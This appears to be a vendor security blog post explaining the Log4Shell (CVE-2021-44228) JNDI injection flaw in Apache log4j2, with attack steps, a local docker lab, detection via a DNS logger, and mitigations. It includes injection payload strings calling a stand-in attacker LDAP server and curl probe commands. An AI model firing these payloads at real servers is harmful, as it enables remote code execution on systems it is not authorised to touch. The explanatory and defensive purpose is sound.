Log4Shell : JNDI Injection via Attackable Log4J
Apache log4j2 is one of the most widely utilized logging library in the Java ecosystem. Many applications depend on log4j that include and are not limited to VMware, Apple, Twitter, Minecraft to plethora of open-source projects like Apache Solr, Apache Druid, and many more.
On November 30, 2021 , the Apache log4j2 team became aware of a bug that would allow injection of malicious input that could allow for remote code execution. It was only on December 9, 2021 that the security community largely became aware of this finding and the far reaching impacts of it.
The vulnerability, now assigned as CVE-2021–44228, is largely attackable. Nearly any user input logged by a log4j2 logger will interpret the user input, causing the application to reach out to a malicious JNDI server and potentially execute arbitrary Java code.
Attackability of JNDI via log4j?
In 2013 (version 2.0-beta9), the log4j package added the “ JNDILookup plugin ” in issue LOG4J2–313. To understand how that change creates a problem, it’s necessary to understand a little about JNDI: Java Naming and Directory Interface.
Java Naming and Directory Interface (JNDI) provides an API for applications to interact with remote objects registered with the RMI registry or directory services like LDAP. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.
A Java based application can use JNDI + LDAP together to find a Business object containing data that it might need. For example, the following URL ldap://localhost:3xx/o=BusinessObjectID to find and invoke theBusinessObject remotely from an LDAP server running on either a same machine (localhost) on port 3xx or remote machine hosted in a controlled environment and goes on to read attributes from it.
overview of a communication flow for a Java application that utilizes JNDI
overview of a communication flow for a Java application that utilizes JNDI
Thus the LDAP server could either be running on a different server (in protected zone) or potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to instantiate a class (business workflow) from a LDAP server under their control . If an attacker can control the JNDI URL, they can cause the application to load and execute arbitrary Java code.
This happens because log4j contains special syntax in the form ${prefix:name} where prefix is one of a number of different Lookups where name should be evaluated. For example, ${java:version} is the current running version of Java.
LOG4J2–313 added a jndi Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.”
overview of a attackable flow for a Java application that utilizes JNDI
overview of a attackable flow for a Java application that utilizes JNDI
So all an attacker has to do is find some input that gets logged and add something like ${jndi:ldap://attackerserver.com.com/x}. This could be a HTTP header like User-Agent (that commonly gets logged) or perhaps a form parameter like username/request object that might also be logged (as a matter of fact everything gets logged in order to increase one’s fidelity to triage or observe).
In summary, the attacks steps are:
- Inject the malicious JNDI LDAP URL, ${jndi:ldap://attackerserver.com:1389/ExploitPayload} , into application input that will be logged by log4j2
- The log4j2 logger will parse the JNDI URL and the vulnerable application will reach out to malicious LDAP server looking for the “ExploitPayload” object
- The attacker controller LDAP server will serve a reference to an additional attacker controller server that redirects the vulnerable application to http://attackerserver.com/ExploitPayload.class
- The vulnerable application will load the attacker’s ExploitPayload.class and execute it, enabling the attacker to gain remote code execution privileges on the host running the application. This step depends on the version of Java that the application is running with and the application itself
Applications running with Java versions prior to 8u191, 7u201, 6u211, and 11.01 can be easily exploited by attackers. Java versions from 8u191, 7u201, 6u211, and 11.01 upwards don’t load remote classes via JNDI by default. But attackers may still be able to exploit existing application classes to achieve remote code execution.
Expect to see attackers figuring out how to exactly take advantage of this vulnerability to exploit specific applications.
Example of a Vulnerable Code snippet
The conditions required to trigger attackability are
- A server with a vulnerable log4j version (listed in matrix below),
- an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,
- and a log statement that logs out the string from that request (with JNDI LDAP URI).
Attackable data flow to trigger exploit
Attackable data flow to trigger exploit
Attackability Scope (Matrix)
https://docs.google.com/spreadsheets/d/14GTZ_EvzHQXU9dXOo9vDPCGps5ePGxPLW6sxTylSEI4/edit?usp=sharing
https://docs.google.com/spreadsheets/d/14GTZ_EvzHQXU9dXOo9vDPCGps5ePGxPLW6sxTylSEI4/edit?usp=sharing
Identifying if your server is attackable?
Using a DNS logger (such as dnslog.cn), you can generate a domain name and use this in your test payloads:
**// if server in test is running on localhost** curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'
Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability.
Community driven POC
If you want to reproduce this vulnerability locally, you can refer to christophetd’s vulnerable app.
**// 1. In a sandboxed terminal-1 (with docker daemon installed), run**
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
**// 2. Spawn another tab-2 to trigger the exploit**
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'
**// 3. Observe logs in terminal (1)**
2021-12-11 11:01:05,99 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
Temporary Mitigations
- formatMsgNoLookups=true mitigation strategy via log4 configuration is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior
- If version is older than 2.10.0 (and cannot upgrade), modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files (only works on versions >= 2.7)
- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class
- Volker Simonis from the AWS Corretto team has released a java agent based runtime patch (RASP based patching technique). The patch must run on the same machine as the running Java process as the same user. It then dynamically connects to the running Java process through the Attach API and inspects the running JVM to configure the JVM flags and actions described above.
Protect from future attackability
ShiftLeft’s CORE is an application security platform built over the foundational Code Property Graph that is uniquely positioned to deliver a specification model to query for unknown vulnerable conditions , business logic flaws and insider attacks that might exist in your application’s codebase.
With ShiftLeft CORE, teams are able to focus on known and unknown issues that can be detected and reached by attackers from outside the application.
To get a free ShiftLeft CORE account, visit https://www.shiftleft.io/register.
To try Intelligent SCA, sign up for a premium trial within ShiftLeft CORE
Top comments (0)